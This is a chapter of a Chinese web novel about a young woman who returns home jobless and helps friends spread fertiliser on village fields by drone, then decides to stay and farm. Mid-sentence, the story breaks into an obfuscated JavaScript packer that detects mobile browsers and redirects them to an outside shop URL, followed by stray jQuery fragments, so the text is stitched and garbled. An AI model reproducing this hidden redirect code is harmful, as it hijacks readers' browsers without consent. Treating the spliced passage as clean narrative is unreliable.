“四吨，全得咱仨自己扛？”夏叙言手里抹布啪嗒掉进盆里，音调都扬了起来。
“嗯。”傅拭雪点了点头。
“行啊你。”夏叙言那双总带着三分笑意的桃花眼这会儿瞪得溜圆，上下扫视傅拭雪，“这才多久没见，真当自己是铁人了？”
他认命地往前挪步，背影都透着一股风萧萧兮易水寒的悲壮，“走吧，肥在哪儿？说吧，怎么个搬法？”
一出院门，夏叙言一眼就看见了村口那辆大家伙。
两米高的车身，六米多长的货斗，满满当当堆着小山似的白色化肥袋子，在晨光里白晃晃地刺眼。
卡车慢悠悠开到田边岔路口停下，司机是个皮肤黝黑的中年汉子，探出头来，朝傅拭雪熟稔地扬了扬手，“傅老板，按你说的，运到这儿了！”
傅拭雪抬手回应，又朝旁边小货车前那个穿着沾泥工装裤的男人点点头，这才转向夏叙言，“喏，就那儿。”
“不是吧……”夏叙言捂住胸口，小脸皱成一团，“四吨！我这细胳膊细腿的，真不会直接交代在这儿？成为土地的‘养分’吧？”
“放心。”傅拭雪眼里闪过促狭的光，伸手在他瞧着就不甚结实的肩胛骨处捏了捏，手感确实单薄，“你这身板，埋地里都肥不了两亩。”
“傅、拭、雪！”夏叙言气笑，一个箭步上前就熟练地勾住他脖子，胳膊用了点力，“我看你是想一个人搬，现在能帮你的可就咱俩，把我惹急了，受苦的还是你自己，还不哄着点。”
他哼哼唧唧地威胁，“信不信我立马躺平给你看？”
“好好好，”傅拭雪被他勒得微微弯腰，侧脸上那粒小小的泪痣都跟着生动起来，笑着讨饶，“我哄着点，夏大少爷最讲义气，心胸最宽广。走走，赶紧干活去，早干完早歇着。”
李乘歌跟在两人后头，看着这两个大男人像没长大的少年似的打闹拌嘴，忍不住抿嘴笑了，连日来心头的阴霾都散了些。
她悄悄打量走在前面的傅拭雪，这人明明穿着最简单的粗布衣裳，裤脚还挽起一截，可肩背挺得笔直，走路时步伐稳健，和城里那些穿着西装却总驼着背的同事全然不同。
她正看得有趣，忽然感觉有人轻轻碰了碰自己的胳膊肘，转头一看，是沈摘星。
小姑娘不知何时也跟了出来，扎着个清爽的马尾，穿着洗得发白的外套，安静地走在她身侧，目光追着前头那两个幼稚鬼，嘴角也弯着小小的弧度。
见李乘歌看她，沈摘星有些不好意思地缩回手，指了指前面，小声道，“他们……一直这样吗？”
“看着像。”李乘歌笑着回答。
走到卡车旁，她目光扫过车厢侧边的液压卡扣，心里忽然了然。
这是辆翻斗车，不用人力卸车。
她抬眼看向正在和司机低声交谈的傅拭雪，侧脸在晨光里显得格外专注。这人虽说自称种地新手，可做事周全，脑子也活络，租地、订肥、联系农机，一样没落下。
司机交代完便麻利地上车，发动引擎。只听一阵液压杆推动的闷响，沉重的车厢缓缓向后抬起，形成一个倾斜的坡面。
“噗——噗——”
细密的尘土瞬间被扬起，在金色的阳光里打着旋儿飞舞。
李乘歌和沈摘星赶忙侧过脸，将口鼻掩进衣领，眯起眼睛。
几乎是眨眼间，伴随着一阵哗啦的倾泻声，那四吨白色的小山便整整齐齐地堆在了田边空地上。
“这就……完了？”夏叙言愣在原地，嘴巴微张。
“嗯，卸好了。”傅拭雪抱着手臂，点了点头。
“啧。”夏叙言摸摸鼻子，转身对李乘歌和沈摘星摊手，“看见没？这人蔫儿坏，就喜欢看我们着急。”
沈摘星被他夸张的表情逗得“噗嗤”笑出声，又赶紧忍住，低下头去。
施肥的环节却没那么简单。小货车旁的男人已经利落地打开车厢，傅拭雪搬下一台无人机，他身材高瘦，动作却稳当得很，展开机翼、连接设备一气呵成，晒成小麦色的手臂上肌肉线条分明。
等男人调试好数据，傅拭雪用镰刀划开一袋尿素，小心地往无人机料箱里倾倒，直到那男人伸手拦住，“够了，再多影响飞行平衡。”
男人站上田埂，操控着无人机腾空而起。雪白的肥粒从蔚蓝的天空均匀洒落，旋翼带起的风将肥料吹散，覆盖在褐色的土地上。
傅拭雪和夏叙言留在车边装填肥料。两人手上动作却不慢，三两下又划开一袋。
傅拭雪则仔细检查每个袋口，生怕撒漏了。
夏叙言看着他的动作，这个从小锦衣玉食的少爷，如今做这些农活竟也像模像样。
沈摘星看了一会儿，主动走到李乘歌身边，轻声问，“乘歌姐，我……我能帮点什么吗？”
李乘歌正挽起袖子，闻言笑着递给她一把小铁锹，“来，帮我一起把撒到田埂边上的肥往里拢拢，别浪费了。”
“嗯！”沈摘星用力点点头，接过铁锹，仔细地将散落的肥料颗粒扫进田里。
李乘歌端着盆走上田埂，她抓一把肥料，手腕轻轻一扬，白色的颗粒便均匀地撒进田埂边缘那些无人机难以覆盖的角落。
这个动作她小时候做过无数次，如今再做，肌肉竟还留着记忆。
无人机一趟又一趟地往返，李乘歌站在田埂上，望着阳光下这几个忙碌的身影。傅拭雪正和男人低声讨论着什么，侧脸被镀上金光。
夏叙言不知说了句什么俏皮话，自己先笑了起来，露出一口白牙。空气中那股熟悉又有些刺鼻的化肥气味，裹挟着旧日记忆扑面而来。
种地，曾是山里人唯一的活路。
小时候，村里还是集体劳作。
会驾牛的人牵着黄牛，拖着沉甸甸的铁犁在水田里来回走，吆喝声能传过整片田野。大人们卷起裤腿，把秧苗捆在腰间，顶着毒日头，一株一株弯腰插进泥里，后背的汗渍湿了又干，结成白花花的盐霜。追肥的时候，更是全凭一双手、两条腿，提着桶在田埂上来回走，一遍又一遍，撒到胳膊都抬不起来。她也曾拎着个比她胳膊细不了多少的小桶，跟在大人们身后，撒得满头是汗，掌心磨得通红。
她还记得自己累哭了，一屁股坐在田埂上不肯起来。
爸爸把她抱起来，架在自己脖子上，指着脚下绵延的绿色说，“咱乘歌是大山的孩子，得扛住。”
那时候，给两百亩地追肥，得动员全村人忙活两三天，傍晚收工时，田埂上坐满了揉腰捶腿的人。
可现在，一台机器，一天就能完成。
李乘歌的目光落向田边那条小溪。溪水还是那么清，可童年时一起摸鱼抓虾、为了一只螃蟹争得脸红脖子粗的伙伴，如今早已散落在各个城市的高楼大厦间。若不是这次失业回来，她大概也不会重新站在这里，闻到这熟悉又陌生的泥土气，看见这片土地新的模样。
脚下的这片土地，是丰饶的鱼米之乡，气候温润，土壤肥沃。曾几何时，村里人靠种地不仅能养活一大家子，还能有余粮挑去镇上卖，换回油盐酱醋和孩子们的新衣裳。日子虽不宽裕，却也踏实安稳，傍晚炊烟升起时，家家户户飘出的饭菜香都是一样的。
可后来，外面的世界变化太快。种地辛苦，挣钱却不多，年轻人一个个离开大山，奔向霓虹闪烁的远方，她见过太多叔叔伯伯弯腰时后腰贴的膏药，也摸过阿婆们手上像老树皮一样厚实粗糙的茧。
——直到现在她才真切地看见，原来地还可以这样种。
犁地有机器轰隆隆地开过，播种有精量播种机嘀嗒作响，插秧有插秧机一排排推进，连施肥都有无人机嗡嗡地在头顶盘旋。
那些曾经累垮了一辈人腰的环节，如今都有了更轻省、更聪明的模样。
李乘歌撒完手里的肥料，走回傅拭雪身边。
夏叙言正瘫坐在化肥袋上灌水，看见她来，有气无力地挥挥手；
也许，失业并不全然是坏事。
有失必有得，种地这件事本身，何尝不是一种踏实的生活能力？
她望向这片再熟悉不过的土地，又看看身边这几个明明背景各异、却都聚在这里的人，心里忽然透亮起来，她不想再回城里，做那只被格子间驯化、每天盯着电脑屏幕直到眼睛干涩的“社畜”了。
她想留在这里，脚踩泥土，头顶蓝天，看种子破土，等庄稼抽穗。
她抬起头，看向逆光中的傅拭雪。阳光给他轮廓镀了层毛茸茸的金边，她眨了眨眼，轻声唤他，“傅拭雪。”
“嗯？”傅拭雪接过她手中的空盆，低头看她。他嗓音因久未喝水而有些低哑，带着颗粒感，却出奇地温和，“累了？”
“不是。”李乘歌摇摇头，目光清澈而坚定，像被山泉洗过，“我想明白了，我不回城里了，我想留在村里。”
阳光温柔地笼罩着两人，山间最后的薄雾已然散尽。傅拭雪望向她的眼神格外柔和，像春日下午掠过田间的风吗，带着青草和阳光的气息。
李乘歌顿了顿，声音轻而稳，却字字清晰，“我想和你一起，把地种好。”
“好。”傅拭雪没有追问原因，只是侧身站在她身旁。清晰的下颌线被光线切割出一道明暗交界的轮廓，他嘴角有很浅的弧度，不是平日那种客气疏离的笑，而是从眼底漫上来的真实暖意。
微风拂过田埂，吹动他额前碎发。他说——
“欢迎加入。”
话音落下，重新装满肥料的盆又回到李乘歌手中。两人的目光在空中轻轻一碰，像蜻蜓点过水面，荡开一圈极淡的涟漪。随即像达成了某种心照不宣的默契，相视一笑，各自转身继续忙碌。
刚撒了没几步，田埂另一端传来了熟悉的脚步声。二伯母提着一个边角有些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310814|198833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
磕瘪的旧铁皮桶，裤脚还沾着新鲜的泥点。她脸上却带着爽朗的笑，“乘歌，二伯母也来搭把手！”
李乘歌一愣，“二伯母，这怎么好麻烦您……”
“麻烦啥呀！”二伯母摆摆手，手臂晒成健康的铜色，结实有力，“你二伯母种了大半辈子地，这点活儿顺手就干了。咋的，嫌弃我老胳膊老腿啦？”
“怎么会！”李乘歌连忙摇头，心里暖烘烘的。
她想起小时候，二伯母也是这样，嗓门大，手脚快，总在她爸妈忙不过来时，往她兜里塞两个煮鸡蛋。
“那就行！”二伯母利落地走到傅拭雪那边，自顾自给桶里加满肥料，说着就拎着桶去一旁的地里，“你二伯母没念过啥书，可论种地，绝不拖后腿！”
天上传来低轰声，二伯母抬头，“拭雪！这无人机咋使唤？下回我家那几亩地，让这玩意也来地里飞上几趟呗，让二伯母也学学这新玩意儿。”
傅拭雪愣了一下，随即点头，“诶，好！”
不多时，又有几位闻讯而来的乡亲加入进来。
有扛着锄头刚从自家地里回来的大叔，有挎着竹篮准备去采菜见状放下篮子就来帮忙的阿婆。
田里的气氛顿时热闹起来，说笑声、吆喝声混在一起，效率也肉眼可见地往上窜。
夏叙言这会儿也不喊累了，一边装肥一边跟旁边的大叔扯闲篇，逗得人家哈哈大笑。
七八个人配合着一台无人机，终于在夕阳即将沉入山脊时，将两百亩地全部追完了肥。
无人机完成最后一趟任务，稳稳降落在田埂上。
夏叙言再也撑不住，直接向后一倒，躺在了路边的蛇皮袋上，长长吐出一口气，“……可算完了，骨头都散架了。”
连续装了四个小时肥料的傅拭雪也靠着田埂坐了下来，额发被汗浸湿，贴在额角。他拿起水壶仰头灌了几口，喉结滚动。
忽然，他望着天边烧起来的云霞，轻声说，“晚霞真美。”
李乘歌和沈摘星也靠在一起休息，闻言都抬起了头。夏叙言枕着手臂望向天际，伸出手，让一小片橙红的光落进掌心。他眯起眼，嘴角勾起懒洋洋的弧度，“别说，在这儿看日落，比在城里看霓虹灯有意思多了。”
绵延的橘色云丝铺满了半边天，夕阳的余晖穿过云隙，洒在白墙灰瓦的村落上，给每一片瓦都镀上了暖光，连烟囱里飘出的炊烟都染成了金色。村庄静卧在山峦的怀抱里，田野尽头是郁郁苍苍的竹海，在晚风里沙沙作响。一条土路蜿蜒着，温柔地分隔开天与地，路上有扛着农具慢慢往家走的人影，拖出长长的影子。
几个沾着泥土带着汗味的身影挨坐在田埂上。傅拭雪放松地曲着一条腿，李乘歌抱着膝盖，夏叙言四仰八叉地躺着，沈摘星则坐得端正。
二伯母和几位乡亲已经先回去了，说明天再来帮忙锄草。
谁也没说话，只是安静地看着那片越烧越绚烂，渐渐变成紫红色的晚霞。远处传来几声狗吠，谁家孩子在喊吃饭，空气里飘来隐隐的饭菜香。
是啊，李乘歌想，这晚霞，真美。
-
追肥的忙碌告一段落，田里的活儿暂时松快下来。
小麦正在返青，绿意一天比一天浓，玉米苗也站直了身子，在春风里轻轻摇摆。
傅拭雪却开始琢磨起新的事情：剩下的地，该种点什么好呢？
这个问题让他有些拿不定主意。
他坐在院子的竹椅上，把白白软软的米饭团子抱在怀里，有一搭没一搭地顺着它背上的毛，小狗在梦里哼唧一声，蹭了蹭他的掌心。
不知不觉间，轻轻叹了今天的第十口气。
“怎么了？”李乘歌擦着手从厨房走出来，她刚试着照傅拭雪教的方法熬了锅小米粥，厨房里还飘着谷物的香气。
她在傅拭雪身旁的小凳上坐下，歪头看他，眼睛亮晶晶的，“今天都听见你叹好几次气了，遇上难事儿了？”
夏叙言正躺在摇椅上玩手机游戏，闻言头也不抬地插嘴，“他能有啥难事儿？愁今晚吃啥？”
话是这么说，耳朵却悄悄竖着。
“嗯。”傅拭雪抬起头，思考片刻，“我在想，剩下的地该种点什么。小麦玉米都有了，总觉得……还能再添点啥，可又想不好。”
他挠了挠米饭的下巴，小狗舒服地哼唧了一声，“你觉得种什么合适？”
他看向李乘歌，语气里带着自己都没察觉的信任和依赖。
李乘歌没有立刻回答。她托着腮，目光掠过院子里晾晒的干辣椒、墙角的农具，望向院外那片刚刚追完肥，在夕阳下泛着油光的土地，更远处是郁郁葱葱的山野。
风吹过，带来泥土和青草的味道。
她想了想，才温声反问，“那你自己最想种什么呢？不是觉得该种什么，而是……心里有没有特别想试试看的？”